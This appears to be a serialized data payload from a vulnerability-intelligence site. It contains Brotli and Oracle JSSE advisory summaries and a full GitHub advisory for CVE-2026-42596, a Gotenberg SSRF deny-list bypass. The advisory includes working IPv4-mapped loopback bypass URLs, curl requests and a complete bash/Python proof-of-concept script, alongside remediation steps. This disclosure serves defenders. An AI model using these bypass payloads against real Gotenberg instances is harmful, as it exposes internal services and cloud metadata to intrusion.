[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-42596":30,"landing-articles":84},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":54,"references":57,"score":61,"epss_score":62,"epss_percentile":63,"is_kev":64,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":65,"attack_mappings":75,"exploits":82},111,"CVE-2026-42596","EUVD-2026-30310","Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook\n\n### Summary\nThe default deny-lists used by Gotenberg's `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http:\u002F\u002F[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg\u002Fmodules\u002Fapi\u002Fapi.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg\u002Fmodules\u002Fwebhook\u002Fwebhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg\u002Fgotenberg\u002Ffilter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg\u002Fmodules\u002Fapi\u002Fcontext.go:208-282`\n  - Reads attacker-supplied `downloadFrom`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg\u002Fmodules\u002Fwebhook\u002Fmiddleware.go:99-217`\n  - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n  - Calls `gotenberg.FilterDeadline(...)`.\n  - Constructs a `client` for outbound delivery.\n- `pkg\u002Fmodules\u002Fwebhook\u002Fclient.go:39-152`\n  - Sends the success or error webhook request.\n- `pkg\u002Fmodules\u002Fwebhook\u002Fclient.go:155-216`\n  - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http:\u002F\u002F` and `https:\u002F\u002F` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go's HTTP stack accepts multiple textual representations of loopback\u002Fprivate addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http:\u002F\u002F[::ffff:127.0.0.1]:18081\u002F...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback\u002Fprivate destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http:\u002F\u002F[::ffff:127.0.0.1]:18081\u002Fpage_1.pdf`\n- `http:\u002F\u002F[::ffff:127.0.0.1]:18082\u002Fupload`\n- `http:\u002F\u002F[::ffff:127.0.0.1]:18082\u002Fevents`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd '\u002FUsers\u002Fr1zzg0d\u002FDocuments\u002FCVE hunting\u002Ftargets\u002Fgotenberg'\n.\u002Ftmp\u002Fpoc\u002Fverify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http:\u002F\u002F[::ffff:127.0.0.1]:18081\u002Fpage_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http:\u002F\u002F[::ffff:127.0.0.1]:18082\u002Fupload` and `http:\u002F\u002F[::ffff:127.0.0.1]:18082\u002Fevents`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4\u002F6] Verifying downloadFrom SSRF bypass with http:\u002F\u002F[::ffff:127.0.0.1]:18081\u002Fpage_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5\u002F6] Verifying webhook SSRF bypass with http:\u002F\u002F[::ffff:127.0.0.1]:18082\u002Fupload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `\u002FUsers\u002Fr1zzg0d\u002FDocuments\u002FCVE hunting\u002Ftargets\u002Fgotenberg\u002Ftmp\u002Fpoc\u002Fartifacts\u002Fdownloadfrom-metadata.json`\n- `\u002FUsers\u002Fr1zzg0d\u002FDocuments\u002FCVE hunting\u002Ftargets\u002Fgotenberg\u002Ftmp\u002Fpoc\u002Fartifacts\u002Fwebhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq '.' '\u002FUsers\u002Fr1zzg0d\u002FDocuments\u002FCVE hunting\u002Ftargets\u002Fgotenberg\u002Ftmp\u002Fpoc\u002Fartifacts\u002Fdownloadfrom-metadata.json'\ncat '\u002FUsers\u002Fr1zzg0d\u002FDocuments\u002FCVE hunting\u002Ftargets\u002Fgotenberg\u002Ftmp\u002Fpoc\u002Fartifacts\u002Fwebhook.log'\n```\n\nObserved output:\n\n```json\n{\n  \"page_1.pdf\": {\n    \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n    \"FileType\": \"PDF\",\n    \"FileTypeExtension\": \"pdf\",\n    \"Linearized\": \"No\",\n    \"MIMEType\": \"application\u002Fpdf\",\n    \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n    \"PDFVersion\": 1.7,\n    \"PageCount\": 1,\n    \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n    \"SourceFile\": \"\u002Ftmp\u002Fd924af59-709e-4d08-8ebc-dafec9048235\u002Fb0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a\u002Feae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n  }\n}\n```\n\n```text\nPOST \u002Fupload len=4363 content-type=application\u002Fpdf\nPOST \u002Fevents len=126 content-type=application\u002Fjson\n```\n\nPoC Video:\n\nhttps:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fa70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!\u002Fusr\u002Fbin\u002Fenv bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\u002F..\u002F..\" && pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT\u002Ftmp\u002Fpoc\u002FDockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT\u002Ftmp\u002Fpoc\u002Fartifacts}\"\nTEST_PDF=\"$ROOT\u002Ftest\u002Fintegration\u002Ftestdata\u002Fpage_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR\u002Fdownloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR\u002Fwebhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR\u002Finternal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http:\u002F\u002F[::ffff:127.0.0.1]:18081\u002Fpage_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http:\u002F\u002F[::ffff:127.0.0.1]:18082\u002Fupload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http:\u002F\u002F[::ffff:127.0.0.1]:18082\u002Fevents\"\nPDF_ENGINE_FLAGS=(\n  \"--pdfengines-merge-engines=qpdf\"\n  \"--pdfengines-split-engines=qpdf\"\n  \"--pdfengines-flatten-engines=qpdf\"\n  \"--pdfengines-convert-engines=qpdf\"\n  \"--pdfengines-read-metadata-engines=exiftool\"\n  \"--pdfengines-write-metadata-engines=exiftool\"\n  \"--pdfengines-encrypt-engines=qpdf\"\n  \"--pdfengines-embed-engines=qpdf\"\n  \"--pdfengines-read-bookmarks-engines=qpdf\"\n  \"--pdfengines-write-bookmarks-engines=qpdf\"\n  \"--pdfengines-watermark-engines=qpdf\"\n  \"--pdfengines-stamp-engines=qpdf\"\n  \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf '\\033[31m%s\\033[0m\\n' \"$*\"; }\ngreen() { printf '\\033[32m%s\\033[0m\\n' \"$*\"; }\nblue() { printf '\\033[34m%s\\033[0m\\n' \"$*\"; }\n\ncleanup() {\n  docker rm -f \"$HELPER_NAME\" >\u002Fdev\u002Fnull 2>&1 || true\n  docker rm -f \"$GOTENBERG_NAME\" >\u002Fdev\u002Fnull 2>&1 || true\n}\n\nfail() {\n  red \"$1\"\n  printf '\\n--- gotenberg logs ---\\n'\n  docker logs \"$GOTENBERG_NAME\" 2>\u002Fdev\u002Fnull || true\n  printf '\\n--- helper logs ---\\n'\n  docker logs \"$HELPER_NAME\" 2>\u002Fdev\u002Fnull || true\n  exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: > \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n  red \"Missing test PDF: $TEST_PDF\"\n  exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n  red \"Missing Dockerfile: $DOCKERFILE\"\n  exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" >\u002Fdev\u002Fnull 2>&1; then\n  blue \"[1\u002F6] Building slim verification image: $IMAGE\"\n  docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" >\u002Fdev\u002Fnull\nelse\n  blue \"[1\u002F6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2\u002F6] Starting minimal Gotenberg on http:\u002F\u002F127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n  --name \"$GOTENBERG_NAME\" \\\n  -p \"$PORT:3000\" \\\n  \"$IMAGE\" \\\n  --webhook-enable-sync-mode=true \\\n  \"${PDF_ENGINE_FLAGS[@]}\" >\u002Fdev\u002Fnull\n\nfor _ in $(seq 1 45); do\n  if curl -fsS \"http:\u002F\u002F127.0.0.1:$PORT\u002Fhealth\" >\u002Fdev\u002Fnull 2>&1; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! curl -fsS \"http:\u002F\u002F127.0.0.1:$PORT\u002Fhealth\" >\u002Fdev\u002Fnull 2>&1; then\n  fail \"Gotenberg did not become healthy\"\nfi\n\ncat > \"$HELPER_SCRIPT\" \u003C\u003C'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"\u002Fsrv\u002Fpage_1.pdf\")\nLOG_PATH = Path(\"\u002Fwork\u002Fwebhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application\u002Fpdf\")\n        self.send_header(\"Content-Disposition\", 'attachment; filename=\"page_1.pdf\"')\n        self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n        self.end_headers()\n        self.wfile.write(PDF_BYTES)\n\n    def log_message(self, fmt, *args):\n        return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\"Content-Length\", \"0\"))\n        body = self.rfile.read(length)\n        with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n            f.write(\n                f\"{self.command} {self.path} len={len(body)} \"\n                f\"content-type={self.headers.get('Content-Type', '')}\\n\"\n            )\n        self.send_response(200)\n        self.end_headers()\n\n    do_PATCH = do_POST\n    do_PUT = do_POST\n\n    def log_message(self, fmt, *args):\n        return\n\n\ndef serve(addr, handler):\n    HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3\u002F6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n  --name \"$HELPER_NAME\" \\\n  --network \"container:$GOTENBERG_NAME\" \\\n  -v \"$TEST_PDF:\u002Fsrv\u002Fpage_1.pdf:ro\" \\\n  -v \"$ARTIFACT_DIR:\u002Fwork\" \\\n  -v \"$HELPER_SCRIPT:\u002Fapp\u002Finternal_helper.py:ro\" \\\n  python:3.11-alpine \\\n  python \u002Fapp\u002Finternal_helper.py >\u002Fdev\u002Fnull\n\nfor _ in $(seq 1 20); do\n  if docker logs \"$HELPER_NAME\" 2>&1 | grep -q \"internal helper ready\"; then\n    break\n  fi\n  sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2>&1 | grep -q \"internal helper ready\"; then\n  fail \"Internal helper did not start\"\nfi\n\nblue \"[4\u002F6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n  curl -sS \\\n    -o \"$DOWNLOAD_JSON\" \\\n    -w '%{http_code}' \\\n    -X POST \"http:\u002F\u002F127.0.0.1:$PORT\u002Fforms\u002Fpdfengines\u002Fmetadata\u002Fread\" \\\n    -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n  cat \"$DOWNLOAD_JSON\" 2>\u002Fdev\u002Fnull || true\n  fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e 'has(\"page_1.pdf\")' \"$DOWNLOAD_JSON\" >\u002Fdev\u002Fnull 2>&1; then\n  cat \"$DOWNLOAD_JSON\" || true\n  fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5\u002F6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n  curl -sS \\\n    -o \u002Fdev\u002Fnull \\\n    -w '%{http_code}' \\\n    -X POST \"http:\u002F\u002F127.0.0.1:$PORT\u002Fforms\u002Fpdfengines\u002Fflatten\" \\\n    -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n    -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n    -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n  fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q '^POST \u002Fupload ' \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: \u002Fupload was not hit\"\nfi\n\nif ! grep -q '^POST \u002Fevents ' \"$WEBHOOK_LOG\"; then\n  cat \"$WEBHOOK_LOG\" || true\n  fail \"webhook verification failed: \u002Fevents was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6\u002F6] Evidence files\"\nprintf 'downloadFrom metadata: %s\\n' \"$DOWNLOAD_JSON\"\nprintf 'webhook log:          %s\\n' \"$WEBHOOK_LOG\"\n\nprintf '\\n--- downloadFrom metadata excerpt ---\\n'\njq '{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}' \"$DOWNLOAD_JSON\"\n\nprintf '\\n--- webhook log ---\\n'\ncat \"$WEBHOOK_LOG\"\n\nprintf '\\n'\ngreen \"Verification complete\"\nprintf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n'\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private\u002Finternal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST\u002FPATCH\u002FPUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n   Parse with `net\u002Furl`, lowercase the scheme\u002Fhost where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n   Resolve the hostname, evaluate every resolved IP with `net\u002Fnetip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private\u002Floopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n   Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`\u002F`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.","2026-05-07T01:15:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":46,"privilegesRequired":45,"confidentialityImpact":44},"UNCHANGED","3.1",9.4,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:L","HIGH","NONE","LOW",true,[49],"CWE-918",[51,52,53],"cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:*","cpe:2.3:a:gotenberg:gotenberg:8.30.1:*:*:*:*:*:*:*","cpe:2.3:a:gotenberg:gotenberg:*:*:*:*:*:*:*:*",[55,56],"Thecodingmachine Gotenberg","Gotenberg Gotenberg",[58,59,60],"https:\u002F\u002Fgithub.com\u002Fgotenberg\u002Fgotenberg\u002Fsecurity\u002Fadvisories\u002FGHSA-4vmc-gm8v-m35h","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-42596","https:\u002F\u002Fgithub.com\u002Fgotenberg\u002Fgotenberg",0.82,0.01589,0.75458,false,{"timestamp":66,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":74},"2026-05-15T16:03:36.707460Z","yes","partial","poc",{"vector":71,"decision":72,"priority":73},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T01:30:09.897278\u002F","attend","medium","14D",[76],{"name":77,"source":78,"tactics":79,"technique_id":81},"Exploit Public-Facing Application","attack_vector",[80],"initial-access","T1190",[83],{"link":58},{"count":85,"next":86,"previous":6,"results":87},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[88,96,104],{"id":89,"title":90,"summary":91,"published_at":92,"type":93,"link":94,"image_url":95},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":97,"title":98,"summary":99,"published_at":100,"type":101,"link":102,"image_url":103},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":105,"title":106,"summary":107,"published_at":108,"type":109,"link":110,"image_url":111},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]